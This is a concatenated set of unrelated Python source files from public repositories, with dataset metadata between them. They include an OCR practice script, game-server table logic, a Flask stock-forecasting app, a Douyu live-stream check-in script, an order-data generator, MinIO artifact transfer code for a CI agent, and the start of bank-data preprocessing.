The thresholding mode to use\n\"\"\"\ncv2.imshow('Original', img)\ncv2.imshow('Thresholded', thresh)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\"\"\"\nErosion and dilation are morphological operations used to remove small noise \nand smooth the edges of an object in an image. Erosion removes pixels at the \nedges of an object, while dilation adds pixels to the edges of an object. \n\n\"\"\"\nkernel = np.ones((5,5), np.uint8) # Define the kernel for erosion and dilation\n\nerosion = cv2.erode(img, kernel, iterations=1) # Apply erosion\ndilation = cv2.dilate(img, kernel, iterations=1) # Apply dilation\n\ncv2.imshow('Original', img)\ncv2.imshow('Erosion', erosion)\ncv2.imshow('Dilation', dilation)\n\ncontours2, hierarchy = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\"\"\"\nThe cv2.RETR_TREE parameter specifies the retrieval mode for contours, \nand cv2.CHAIN_APPROX_SIMPLE specifies the contour approximation method.\n\nThe contours variable will contain a list of contours, and the \nhierarchy variable will contain the hierarchy information for each contour.\n\n\"\"\"\n#print(\"contours\",contours)\n#print(\"hierarchy\",hierarchy)\n\n\"\"\"\ntext = pytesseract.image_to_string(pil_image, lang=\"jpn_vert\")\n #https://github.com/tesseract-ocr/tessdata/blob/main/jpn_vert.traineddata\n #download data from above and run command below to use japanese \n #sudo mv jpn_vert.traineddata /usr/local/share/tessdata/\n\"\"\"\n\n\"\"\"\n#Draw the contour in green\n\nprint(\"length \",len(contours2))\nfor cnt in contours2:\n area = cv2.contourArea(cnt)\n if area >= 3000: # Replace 1000 with the desired area value\n cv2.drawContours(image, [cnt], 0, (0, 255, 0), 2) \n # print(\"area \",area)\ncv2.imshow('image', image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\"\"\"\n\n\n###\nfor cnt in contours2:\n area = cv2.contourArea(cnt)\n if area > 2000: # Replace 1000 with the desired area threshold\n x, y, w, h = cv2.boundingRect(cnt)\n roi = thresh[y:y+h, x:x+w] # Crop the region of interest\n text = pytesseract.image_to_string(roi, lang='eng',) # Perform OCR on the cropped image\n #not using configuration below as it worsened the performance.\n #text = pytesseract.image_to_string(roi, lang='eng',config='--psm 6 -l eng')\n #config='--oem 3 --psm 6 -l eng' to use LSTM OCR engine and English language.\n # --psm 6 for single uniform text lines, while --psm 11 is used for dense text with uniform character sizes.\n if len(text.strip()) > 0: # Check if the extracted text is not empty\n print(\"text: \",text)\n cv2.rectangle(thresh, (x, y), (x + w, y + h), (0, 255, 0), 2) # Draw a green rectangle around the contour\n\n# Display the image with the contours containing text outlined\ncv2.imshow('Original image', image)\ncv2.imshow('Thresh image', thresh)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n#implement pre-processing","repo_name":"JC-78/practice-self_improvement","sub_path":"Computer Vision/OCR.py","file_name":"OCR.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39583645126","text":"# -*- coding=utf-8 -*-\n\"\"\"\n大奖赛table逻辑\n\"\"\"\n# @Author : Kangxiaopeng\n# @Time : 2019/10/08\n\nfrom freetime.util import log as ftlog\nfrom freetime.entity.msg import MsgPack\n\nfrom newfish.entity import config\nfrom newfish.entity.config import FISH_GAMEID\nfrom newfish.entity.msg import GameMsg\nfrom newfish.table.multiple_table import FishMultipleTable\nfrom newfish.entity.fishgroup.terror_fish_group import TerrorFishGroup\nfrom newfish.entity.fishgroup.autofill_fish_group_m import AutofillFishGroup\nfrom newfish.entity.fishgroup.platter_fish_group import PlatterFishGroup\nfrom newfish.player.grand_prix_player import FishGrandPrixPlayer\nfrom newfish.entity.fishgroup.grandprix_fish_group import GrandPrixFishGroup\n\n\nclass FishGrandPrixTable(FishMultipleTable):\n\n def startFishGroup(self):\n \"\"\"\n 启动鱼阵\n \"\"\"\n # terror鱼初始化\n if self.runConfig.allTerrorGroupIds and not self.terrorFishGroup:\n self.terrorFishGroup = TerrorFishGroup(self)\n # 自动填充鱼初始化\n if self.runConfig.allAutofillGroupIds and not self.autofillFishGroup:\n self.autofillFishGroup = AutofillFishGroup(self)\n # 大盘鱼初始化\n if self.runConfig.allPlatterGroupIds and not self.platterFishGroup:\n self.platterFishGroup = PlatterFishGroup(self)\n # grandprix鱼初始化\n if self.runConfig.allGrandPrixGroupIds and not self.grandPrixFishGroup:\n self.grandPrixFishGroup = GrandPrixFishGroup(self)\n\n def createPlayer(self, table, seatIndex, clientId):\n \"\"\"\n 新创建Player对象\n \"\"\"\n return FishGrandPrixPlayer(table, seatIndex, clientId)\n\n def _afterSendTableInfo(self, userId):\n \"\"\"\n 发送��子信息之后\n \"\"\"\n super(FishGrandPrixTable, self)._afterSendTableInfo(userId)\n player = self.getPlayer(userId)\n if player:\n player.startGrandPrix()\n player.setTipTimer()\n\n def dealAfterCatchFish(self, player, fId, fishConf, fpMultiple, gunMultiple, gunX, wpId, catchMap):\n \"\"\"\n 在捕获结算之后处理部分鱼涉及的一些功能\n \"\"\"\n # 大奖赛计算捕鱼积分\n if fishConf.get(\"score\", 0) > 0 and fishConf[\"type\"] not in config.TERROR_FISH_TYPE:\n fishType = self.fishMap[fId][\"fishType\"]\n point = fishConf[\"score\"]\n if fishConf[\"type\"] in config.MULTIPLE_FISH_TYPE and catchMap.get(\"fishMultiple\", 1) > 1:\n point *= catchMap[\"fishMultiple\"]\n point = player.addGrandPrixFishPoint(point, str(fishType), gunMultiple * gunX)\n if point:\n return {\"fishPoint\": {\"fId\": fId, \"point\": point}}\n return None\n\n def broadcastSkillUse(self, skill, select, userId, orgState):\n \"\"\"\n 广播选中/取消技能消息\n \"\"\"\n msg = MsgPack()\n msg.setCmd(\"skill_use\")\n msg.setResult(\"gameId\", FISH_GAMEID)\n msg.setResult(\"userId\", skill.player.userId)\n msg.setResult(\"seatId\", skill.player.seatId)\n msg.setResult(\"skillId\", int(skill.skillId))\n msg.setResult(\"skillType\", skill.skillType)\n msg.setResult(\"select\", select) # 1选中|0取消\n msg.setResult(\"clip\", skill.player.clip) # 玩家子弹数\n msg.setResult(\"skillClip\", skill.clip) # 技能子弹数\n GameMsg.sendMsg(msg, self.getBroadcastUids(userId))\n useSkillTimes = self.installGrandPrixUseSkillTimes(userId, skill, select, orgState)\n if useSkillTimes:\n msg.setResult(\"useSkillTimes\", useSkillTimes) # 可使用的次数\n GameMsg.sendMsg(msg, userId)\n if ftlog.is_debug():\n ftlog.debug(\"broadcastSkillUse, userId =\", userId, int(skill.skillId), skill.skillType, select, orgState)\n\n def installGrandPrixUseSkillTimes(self, userId, skill, select, orgState):\n \"\"\"初始化大奖赛使用技能次数\"\"\"\n player = self.getPlayer(userId)\n useSkillTimes = []\n if player and player.isGrandPrixMode():\n for idx, val in enumerate(player.grandPrixUseSkillTimes):\n if isinstance(val, dict) and val.get(\"skillId\") == int(skill.skillId) and val.get(\"skillType\", 0) == skill.skillType:\n if select and orgState == 0:\n player.grandPrixUseSkillTimes[idx][\"count\"] -= 1 # 使用减少一次\n elif not select and orgState == 1:\n player.grandPrixUseSkillTimes[idx][\"count\"] += 1 # 增加一次\n player.grandPrixUseSkillTimes[idx][\"count\"] = min(player.grandPrixUseSkillTimes[idx][\"count\"], config.getGrandPrixConf(\"fireCount\")[1])\n player.grandPrixUseSkillTimes[idx][\"count\"] = max(player.grandPrixUseSkillTimes[idx][\"count\"], 0)\n break\n useSkillTimes = {val.get(\"skillId\"): val.get(\"count\", 0) for val in player.grandPrixUseSkillTimes}\n return useSkillTimes\n\n def _skill_install(self, msg, userId, seatId):\n \"\"\"大奖赛不能技能装备:1、卸下:0\"\"\"\n player = self.getPlayer(userId)\n if player and player.isGrandPrixMode():\n return\n super(FishGrandPrixTable, self)._skill_install(msg, userId, seatId)\n\n def _skill_replace(self, msg, userId, seatId):\n \"\"\"大奖赛事件不能技能替换 uninstallSkillId 要卸下的技能ID\"\"\"\n player = self.getPlayer(userId)\n if player and player.isGrandPrixMode():\n return\n super(FishGrandPrixTable, self)._skill_replace(msg, userId, seatId)\n\n def _skill_upgrade(self, msg, userId, seatId):\n \"\"\"大奖赛事件不能升级|升星 技能升级0、升星1\"\"\"\n player = self.getPlayer(userId)\n if player and player.isGrandPrixMode():\n return\n super(FishGrandPrixTable, self)._skill_upgrade(msg, userId, seatId)\n\n def _refresh_skill_cd(self, msg, userId, seatId):\n \"\"\"大奖赛不能刷新cd时间\"\"\"\n player = self.getPlayer(userId)\n if player and player.isGrandPrixMode():\n return\n super(FishGrandPrixTable, self)._refresh_skill_cd(msg, userId, seatId)\n\n def _broadcastPlayerLeave(self, userId, seatId):\n msg = MsgPack()\n msg.setCmd(\"leave\")\n msg.setResult(\"gameId\", FISH_GAMEID)\n msg.setResult(\"userId\", userId)\n msg.setResult(\"seatId\", seatId)\n GameMsg.sendMsg(msg, self.getBroadcastUids(userId))","repo_name":"isoundy000/learn_python","sub_path":"learn_tu_you/wx_superboss/trunk/hall37-newfish/src/newfish/table/grand_prix_table.py","file_name":"grand_prix_table.py","file_ext":"py","file_size_in_byte":6571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"27327682180","text":"import base64\r\nfrom io import BytesIO\r\nfrom flask import Flask, render_template, request\r\nimport yfinance as yf\r\nimport matplotlib.pyplot as plt\r\nfrom datetime import datetime, timedelta\r\nfrom sklearn.svm import SVR\r\nimport numpy as np\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef home():\r\n if request.method == 'POST':\r\n stock_code = request.form['stock_code']\r\n days = int(request.form['days'])\r\n \r\n # Fetch stock information using yfinance\r\n stock = yf.Ticker(stock_code)\r\n info = stock.info\r\n logo_url = info.get('logo_url', '')\r\n registered_name = info.get('longName', '')\r\n description = info.get('longBusinessSummary', '')\r\n print(info)\r\n \r\n # Generate stock trend graph for the past 1 month\r\n today = datetime.now().date()\r\n start_date_1_month = today - timedelta(days=30)\r\n history_1_month = stock.history(start=start_date_1_month, end=today)\r\n \r\n # Generate stock trend graph for the past 6 months\r\n start_date_6_months = today - timedelta(days=30*6)\r\n history_6_months = stock.history(start=start_date_6_months, end=today)\r\n \r\n # Generate stock trend graph for the past 12 months\r\n start_date_12_months = today - timedelta(days=30*12)\r\n history_12_months = stock.history(start=start_date_12_months, end=today)\r\n \r\n # Generate plot for the past 1 month\r\n plt.figure(figsize=(10, 6))\r\n plt.plot(history_1_month.index, history_1_month['Close'])\r\n plt.xticks(rotation=45)\r\n plt.xticks(fontsize=8)\r\n plt.xlabel('Date')\r\n plt.ylabel('Stock Price')\r\n plt.title(f'Stock Price Trend (Past 1 Month) of {registered_name}')\r\n plt.grid(True)\r\n plt.savefig('plot_1_month.png')\r\n \r\n # Generate plot for the past 6 months\r\n plt.figure(figsize=(10, 6))\r\n plt.plot(history_6_months.index, history_6_months['Close'])\r\n plt.xticks(rotation=45)\r\n plt.xticks(fontsize=8)\r\n plt.xlabel('Date')\r\n plt.ylabel('Stock Price')\r\n plt.title(f'Stock Price Trend (Past 6 Months) of {registered_name}')\r\n plt.grid(True)\r\n plt.savefig('plot_6_months.png')\r\n \r\n # Generate plot for the past 12 months\r\n plt.figure(figsize=(10, 6))\r\n plt.plot(history_12_months.index, history_12_months['Close'])\r\n plt.xticks(rotation=45)\r\n plt.xticks(fontsize=8)\r\n plt.xlabel('Date')\r\n plt.ylabel('Stock Price')\r\n plt.title(f'Stock Price Trend (Past 12 Months) of {registered_name}')\r\n plt.grid(True)\r\n plt.savefig('plot_12_months.png')\r\n \r\n # Perform forecasting for the specified number of days\r\n future_dates = [today + timedelta(days=i) for i in range(1, days+1)]\r\n X = np.array(range(len(history_6_months))).reshape(-1, 1)\r\n y = history_6_months['Close'].values\r\n svr = SVR(kernel='rbf')\r\n svr.fit(X, y)\r\n future_prices = svr.predict(np.array(range(len(history_6_months), len(history_6_months)+days)).reshape(-1, 1))\r\n \r\n plt.figure(figsize=(10, 6))\r\n plt.plot(future_dates, future_prices, color='red', linestyle='dashed', label='Predicted Price')\r\n plt.legend()\r\n plt.xticks(rotation=45)\r\n plt.xticks(fontsize=8)\r\n plt.xlabel('Date')\r\n plt.ylabel('Stock Price')\r\n plt.title('Stock Price Forecast')\r\n plt.grid(True)\r\n plt.savefig('plot_forecast.png')\r\n \r\n return render_template('index.html', logo_url=logo_url, registered_name=registered_name,\r\n description=description, plot_image_1_month=plot_to_base64('plot_1_month.png'),\r\n plot_image_6_months=plot_to_base64('plot_6_months.png'),\r\n plot_image_12_months=plot_to_base64('plot_12_months.png'),\r\n plot_image_forecast=plot_to_base64('plot_forecast.png'),\r\n future_dates=future_dates, future_prices=future_prices)\r\n \r\n return render_template('index.html')\r\n\r\ndef plot_to_base64(image_path):\r\n buffer = BytesIO()\r\n plt.savefig(buffer, format='png')\r\n buffer.seek(0)\r\n plot_data = base64.b64encode(buffer.getvalue()).decode('utf-8')\r\n plt.close()\r\n return plot_data\r\n\r\nif __name__ == '__main__':\r\n app.run()\r\n","repo_name":"Anki8683/Stock-Price-Prediction-","sub_path":"Stock_Price_Prediction/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22442292483","text":"# un tipo especial de funcion que retorna objetos que podemos iterar\ndef pares(): #generador -> lazy iterator\n for num in range(0,100,2):\n yield num #la funcion suspende su ejecucion\n \n#for par in pares():\n# print(par)\ngenerador=pares()\n\"\"\"\nprint(next(generador))\nprint(next(generador))\"\"\"\n\n#ahorra memoriar\n#cuando trabajemos con miles de registros\n\nwhile True:\n try:\n par=next(generador)\n print(par)\n except StopIteration:\n print('finalizo la iteracion')","repo_name":"Betelgeusep/python_apuntes","sub_path":"funciones/generadores.py","file_name":"generadores.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"28406498663","text":"\n# ex 2\nfrom cmath import sqrt\n\n\ndef febApp(ep: float):\n a = 1\n b = 1\n vz = b/a\n u = a+b\n a = b\n b = u\n v1 = b/a\n while abs(v1 - vz) > ep:\n vz = v1\n u = a+b\n a = b\n b = u\n v1 = b/a\n return v1\n\n\nep = 0.0000000001\nprint(febApp(ep))\nprint()\n# ex 3\n\n\ndef prime(n: any):\n return 0\n\n\ndef brun(ep: float):\n s1 = 0\n i = 3\n while True:\n s = s1\n if prime(i) and prime(i+2):\n s1 = s + 1/i + 1/i+2\n i += 2\n if abs(s1-s) <= ep:\n break\n return s1\n\n\n# p\n# A\n# n\n# formule arrangement n!/((n-p)!) ordonnee\n\n# comb :\n\n# p\n# C\n# n\n# formule combinaison : A(n...p) / p! non ordonnee\n\n\n# permetation : n!\n\n\n# ex 4\ndef comb(n: int, p: int):\n\n return 0\n\n\n# ex 5 gauche\ndef ex5(a, b, n):\n h = (b-a)/n\n x = a\n s = 0\n for i in range(1, n):\n s += 1/sqrt(x)\n x += h\n return h * s\n# droite\n\n\ndef ex5(a, b, n):\n h = (b-a)/n\n x = a + b\n s = 0\n for i in range(1, n):\n s += 1/sqrt(x)\n x += h\n return h * s\n# trapez\n\n\ndef tra(a, b, n):\n h = (b-a)/n\n x = a\n s = 0\n for i in range(1, n):\n s += 1/sqrt(x) + 1/sqrt(x+h)\n x += h\n return h * s\n# willis trapez willis rectangle (droite gauche milieu )\n","repo_name":"onlymachiavelli/BacInfo","sub_path":"ALGO/Classe/Apprx/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"7"} +{"seq_id":"31037856605","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2021/3/24 13:04\n# @Author : lockcy\n# @File : main.py\n\n\nimport requests\nimport json\nimport configparser\nimport re\nfrom logger import logger\nfrom apscheduler.schedulers.blocking import BlockingScheduler\n\nr = requests.session()\n\nPROXY = {'http': '127.0.0.1:8080'}\n\nf = configparser.RawConfigParser()\nf.read('config.ini')\n\n# 先初步设定有粉丝牌的房间每天定时刷20个荧光棒\ndef set_task():\n douyu = Douyu()\n # 定时查询关注的房间(开播中),并签到\n lives = douyu.get_live_room()\n for live in lives:\n douyu.check_in(live)\n # 定时给有粉丝牌的房间刷小礼物\n fans = douyu.get_fans_rid()\n for fan in fans:\n douyu.send_gift(268, 20, fan)\n\n\n\nclass Douyu(object):\n def __init__(self):\n f = configparser.RawConfigParser()\n f.read('config.ini')\n self.acf_auth = f.get(\"cookies\", \"ACF_AUTH\")\n self.ctn = f.get(\"cookies\", \"CTN\")\n\n self.header ={\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0\",\n \"Referer\": \"https://www.douyu.com/\",\n }\n # 获取背包小礼物\n def get_backpack(self):\n cookies = {\n \"acf_auth\": self.acf_auth,\n }\n html = r.get(url='https://www.douyu.com/japi/prop/backpack/web/v1?rid=957090', headers=self.header, cookies=cookies)\n info_json = json.loads(html.text)\n gift_json = info_json.get('data').get('list')\n if gift_json:\n logger.info('获取背包信息成功')\n for item in gift_json:\n info = '小礼物id: ' + str(item.get('id'))\n info = info + ' 小礼物名称: ' + str(item.get('name'))\n info = info + ' 小礼物数量: ' + str(item.get('count'))\n info = info + ' 小礼物过期天数: ' + str(item.get('expiry'))\n logger.info(info)\n elif info_json.get('msg') == 'success':\n logger.info('背包为空')\n else:\n logger.info('获取背包信息失败')\n\n # 赠送礼物接口propid:小礼物id propcount:赠送小礼物数量 roomid:房间号\n def send_gift(self, propid, propcount, roomid):\n cookies = {\n \"acf_auth\": self.acf_auth,\n }\n datas = {\n 'propId': propid,\n 'propCount': propcount,\n 'roomId': roomid,\n 'bizExt': '{\"yzxq\":{}}',\n }\n html = r.post(url='https://www.douyu.com/japi/prop/donate/mainsite/v1', headers=self.header, cookies=cookies, data=datas)\n info_json = json.loads(html.text)\n gift_json = info_json.get('data').get('list')\n if gift_json:\n logger.info('给{0}赠送小礼物{1}成功'.format(roomid, propid))\n else:\n logger.info('给{0}赠送小礼物{1}失败'.format(roomid, propid))\n\n # 签到这里有个坑,签到后前端的签到按钮不会改变(实际上已经签到)\n def check_in(self, roomId):\n cookies = {\n \"acf_auth\": self.acf_auth,\n \"acf_ccn\": self.ctn,\n }\n datas = {\n 'rid': roomId,\n 'ctn': self.ctn\n }\n html = r.post(url=\"https://www.douyu.com/japi/roomuserlevel/apinc/checkIn\", headers=self.header, cookies=cookies, data=datas)\n info_json = json.loads(html.text)\n if info_json.get('msg') == '请求成功':\n logger.info('{}签到成功'.format(roomId))\n else:\n logger.info('{}签到失败'.format(roomId))\n\n # 获取所有关注的房间(直播中)\n def get_live_room(self):\n fo = []\n cookies = {\n \"acf_auth\": self.acf_auth,\n }\n html = r.get(url=\"https://www.douyu.com/wgapi/livenc/liveweb/follow/headList?page=1\", headers=self.header, cookies=cookies)\n info_json = json.loads(html.text)\n follows = info_json.get('data')\n if follows:\n follows = follows.get('list')\n for follow in follows:\n fo.append(dict(follow).get('room_id'))\n logger.info('获取关注的开播房间成功,房间号为' + str(fo))\n elif info_json.get('msg') == '用户未登陆或token已过期':\n logger.info('acf_auth令牌错误')\n else:\n logger.info('获取关注房间发生未知错误')\n return fo\n\n # 获取鱼塘信息\n def get_sharkinfo(self, roomId):\n cookies = {\n \"acf_auth\": self.acf_auth,\n \"acf_ccn\": self.ctn,\n }\n html = r.get(url=\"https://www.douyu.com/japi/activepointnc/api/sharkInfo?rid={}\".format(roomId), headers=self.header, cookies=cookies)\n info_json = json.loads(html.text)\n data_json = info_json.get('data')\n if data_json:\n level = data_json.get('sharkLevel')\n point = data_json.get('userActivePoint')\n logger.info('鲨鱼等级: ' + level + '鱼粮: ' + point)\n else:\n logger.info('获取鱼塘信息失败')\n\n # 鱼塘寻宝\n def do_lottery(self, roomId):\n cookies = {\n \"acf_auth\": self.acf_auth,\n \"acf_ccn\": self.ctn,\n }\n datas = {\n 'rid': roomId,\n 'type': 0,\n 'version': 1.2,\n \"ctn\": self.ctn,\n }\n html = r.post(url=\"https://www.douyu.com/japi/activepointnc/api/dolottery\", headers=self.header, cookies=cookies, data=datas)\n info_json = json.loads(html.text)\n if info_json:\n if info_json.get('msg') == '操作成功':\n logger.info('寻宝成功')\n elif info_json.get('msg') == '今日次数不足':\n logger.info('今日次数不足')\n else:\n logger.info('未知错误')\n\n\n # 获取有粉丝牌的房间号\n def get_fans_rid(self):\n cookies = {\n \"acf_auth\": self.acf_auth,\n }\n\n html = r.get(url=\"https://www.douyu.com/member/cp/getFansBadgeList\", headers=self.header, cookies=cookies)\n roomid = re.compile('(?<= 0.7:\n m_m = micro[rnd.randint(0, len(micro)-1)]\n tmp.append(ProductDescriptor(m_m, key, {ProductPropertyType.Size}))\n if rnd.random() > 0.9:\n m_d = dish[rnd.randint(0, len(dish)-1)]\n tmp.append(ProductDescriptor(m_d, key, {ProductPropertyType.Color}))\n products_groups[key].extend(tmp)\n return property_types, products_groups\n\n\ndef order_generate(json_path, number_of_records=10):\n properties, groups = product_data(json_path, 5)\n years = {2015: 0.2, 2016: 0.25, 2017: 0.15, 2018: 0.1, 2019: 0.3}\n month = {1: 0.05, 2: 0.1, 3: 0.11, 4: 0.17, 5: 0.1, 6: 0.07, 7: 0.04, 8: 0.02, 9: 0.08, 10: 0.1, 11: 0.12, 12: 0.04}\n\n peak_max = [4, 3, 2]\n peak_min = [1.5, 0.3, 0.1]\n\n day = days_random_distribution(peak_min, peak_max)\n\n return data_generation(properties, groups, years, month, day, number_of_records)\n\n\ndef make_lut(api):\n un_lut = {}\n for unit in api.get_furniture_unit():\n if unit['name'] in un_lut.keys():\n continue\n un_lut[unit['name']] = unit['id']\n\n ap_lut = {}\n for apl in api.get_appliance():\n if apl['name'] in ap_lut.keys():\n continue\n ap_lut[apl['name']] = apl['id']\n return un_lut, ap_lut\n\n\ndef upload_customer_and_records(api, un_lut, ap_lut):\n logger.info(f'Uploading customers and orders!')\n for index, order in enumerate(order_records):\n customer = order.customer\n val = api.post_customer(json.loads(json.dumps(customer.to_dict())))\n logger.info(f'{index}. customers is uploaded!')\n\n date = order.date\n product_id_list = []\n appliance_id_list = []\n for pr in order.product:\n if pr.name in un_lut.keys():\n product_id_list.append(un_lut[pr.name])\n elif pr.name in ap_lut.keys():\n appliance_id_list.append(ap_lut[pr.name])\n\n dto = {\n \"orderName\": \"Generated %s\" % index,\n \"workingNumber\": \"string\",\n \"deadline\": str(date),\n \"customerId\": val,\n \"furnitureUnitIds\": product_id_list,\n \"applianceIds\": appliance_id_list\n }\n api.post_order(json.loads(json.dumps(dto)))\n logger.info(f'{index}. order is uploaded!')\n\n\nif __name__ == '__main__':\n group_json_path = Path(\"C:/Users/vamos.peter/Projects/Butor/Documentation/Documents/seed/groups.json\")\n order_records = order_generate(group_json_path, 1000)\n\n api_client = ApiClientClass(Path(\"../data/api_config.json\"))\n\n login_json = json.loads(json.dumps({\"email\": \"enco@enco.hu\", \"password\": \"password\", \"rememberMe\": True}))\n api_client.login(login_json)\n\n unit_lut, apl_lut = make_lut(api_client)\n\n upload_customer_and_records(api_client, unit_lut, apl_lut)\n\n api_client.logout()\n","repo_name":"encosoftware/ifps","sub_path":"ShoppingCartAnalysis/script/generate_order_from_db_for_db.py","file_name":"generate_order_from_db_for_db.py","file_ext":"py","file_size_in_byte":5164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"3234944810","text":"import os\nimport glob\nimport logging\n\nfrom . import miniobase\n\nlog = logging.getLogger(__name__)\n\n\ndef _upload_all(mc, minio_bucket, cwd, source, rundir, dest, report_artifact):\n for src in source:\n if cwd:\n cwd = os.path.abspath(cwd)\n src = os.path.abspath(os.path.join(cwd, src))\n\n if '*' not in src and os.path.isdir(src):\n src = os.path.join(src, '**')\n\n recursive = '**' in src\n\n files_num = 0\n for f in glob.iglob(src, recursive=recursive):\n if os.path.isdir(f):\n continue\n\n if cwd:\n f_path = os.path.relpath(f, cwd)\n else:\n f_path = f\n dest_f = os.path.join(rundir, dest, f_path)\n dest_f = os.path.normpath(dest_f)\n\n log.info('store %s -> %s / %s', f, minio_bucket, dest_f)\n mc.fput_object(minio_bucket, dest_f, f)\n\n pth = os.path.join(dest, f_path)\n pth = os.path.normpath(pth)\n artifact = dict(path=pth, size=os.path.getsize(f))\n report_artifact(artifact)\n files_num += 1\n\n # if no files were uploaded then raise error or just mention about that\n if files_num == 0:\n if '*' in src:\n log.warning('no files found for %s', src)\n else:\n msg = 'file %s not found for upload' % src\n log.error(msg)\n return 1, msg\n\n return 0, ''\n\n\ndef _download_dir(mc, minio_bucket, subdir, src_dir, dest):\n cnt = 0\n src = os.path.join(subdir, src_dir) + '/'\n objects = mc.list_objects(minio_bucket, src)\n log.info('objects in %s: %s', src, objects)\n for r in objects:\n log.info('obj %s', r.object_name)\n if r.is_dir:\n next_dir = os.path.join(src_dir, r.object_name)\n next_dest = os.path.join(dest, r.object_name)\n cnt += _download_dir(mc, minio_bucket, subdir, next_dir, next_dest)\n else:\n dest_file = os.path.join(src_dir, os.path.relpath(r.object_name, src))\n mc.fget_object(minio_bucket, r.object_name, dest_file)\n log.info('downloaded %s -> %s', r.object_name, dest_file)\n cnt += 1\n return cnt\n\n\ndef _download_file_or_dir(mc, minio_bucket, subdir, source, dest):\n cnt = 0\n dest_file = os.path.realpath(os.path.join(dest, source))\n src = '%s/%s' % (subdir, source)\n try:\n log.info('try download %s -> %s', src, dest_file)\n mc.fget_object(minio_bucket, src, dest_file)\n log.info('downloaded %s -> %s', src, dest_file)\n cnt = 1\n except Exception as e:\n log.exception('some problem with downloading')\n if hasattr(e, 'code') and e.code == 'NoSuchKey': # pylint: disable=no-member\n cnt = _download_dir(mc, minio_bucket, subdir, source, dest_file)\n else:\n raise\n return cnt\n\n\ndef _download_all(mc, minio_bucket, flow_id, run_id, cwd, source, dest):\n if cwd:\n dest = os.path.join(cwd, dest)\n\n if not os.path.exists(dest):\n os.makedirs(dest)\n\n runs = []\n for r in mc.list_objects(minio_bucket, '%d/' % flow_id):\n if not r.is_dir:\n continue\n r_id = int(r.object_name.split('/')[1])\n if r_id == run_id:\n continue\n runs.append(r_id)\n runs.sort()\n\n if len(runs) == 0:\n msg = 'no runs folders in storage'\n log.error(msg)\n return 3, msg\n\n log.info('runs for download: %s', runs)\n log.info('sources: %s', source)\n\n cnt = 0\n for r_id in reversed(runs):\n msg = None\n subdir = '%d/%d' % (flow_id, r_id)\n for src in source:\n cnt2 = 0\n try:\n cnt2 = _download_file_or_dir(mc, minio_bucket, subdir, src, dest)\n except Exception as e:\n msg = 'problem with downloading %s: %s' % (src, str(e))\n break\n if cnt2 == 0:\n msg = 'problem with downloading %s: not found' % src\n break\n cnt += cnt2\n # no error so stop looking for files in other runs\n if msg is None:\n break\n\n if msg:\n log.error(msg)\n return 1, msg\n\n if cnt == 0:\n return 2, \"cannot find files to download\"\n\n return 0, ''\n\n\ndef run_artifacts(step, report_artifact=None):\n\n minio_addr = step['minio_addr']\n minio_bucket = step['minio_bucket']\n action = step.get('action', 'upload')\n cwd = step.get('cwd', None)\n flow_id = step['flow_id']\n run_id = step['run_id']\n\n source = step['source']\n dest = step['destination']\n if action == 'upload':\n if dest == '/':\n dest = ''\n rundir = os.path.join(str(flow_id), str(run_id))\n dest = os.path.normpath(dest)\n\n log.info('%s: source: %s, dest: %s', action, source, dest)\n\n if not isinstance(source, list):\n source = [source]\n\n try:\n mc = miniobase.get_minio(step)\n except Exception as e:\n log.exception('problem with connecting to minio %s', minio_addr)\n msg = 'problem with connecting to minio %s: %s' % (minio_addr, str(e))\n return 1, msg\n\n if action == 'download':\n status, msg = _download_all(mc, minio_bucket, flow_id, run_id, cwd, source, dest)\n else:\n status, msg = _upload_all(mc, minio_bucket, cwd, source, rundir, dest, report_artifact)\n\n return status, msg\n","repo_name":"Kraken-CI/kraken","sub_path":"agent/kraken/agent/kraken_artifacts.py","file_name":"kraken_artifacts.py","file_ext":"py","file_size_in_byte":5429,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"7"} +{"seq_id":"32757826468","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport sys\nsys.path.append('../../')\nfrom utils.packages import *\nfrom utils.ml_fairness import *\nfrom utils.standard_data import *\n\n\n# In[2]:\n\n\nfile_path = '../../data/bank/bank-additional-full.csv'\n\ncolumn_names = []\nna_values=['unknown']\n\ndf = pd.read_csv(file_path, sep=';', na_values=na_values)\n\n#### Drop na values\ndropped = df.dropna()\ncount = df.shape[0] - dropped.shape[0]\nprint(\"Missing Data: {} rows removed.\".format(count))\ndf = dropped\n\ndf['age'] = df['age'].apply(lambda x: np.float(x >= 25))\n\n# Create a one-hot encoding of the categorical variables.\ncat_feat = ['job', 'marital', 'education', 'default', 'housing', 'loan', 'contact', 'month', 'day_of_week']\n\nfor feature in cat_feat:\n le = LabelEncoder()\n df[feature] = le.fit_transform(df[feature])\n\ndef duration(dataframe):\n q1 = dataframe['duration'].quantile(0.25)\n q2 = dataframe['duration'].quantile(0.50)\n q3 = dataframe['duration'].quantile(0.75)\n dataframe.loc[(dataframe['duration'] <= q1), 'duration'] = 1\n dataframe.loc[(dataframe['duration'] > q1) & (dataframe['duration'] <= q2), 'duration'] = 2\n dataframe.loc[(dataframe['duration'] > q2) & (dataframe['duration'] <= q3), 'duration'] = 3\n dataframe.loc[(dataframe['duration'] > q3), 'duration'] = 4 \n print (q1, q2, q3)\n return dataframe\ndf = 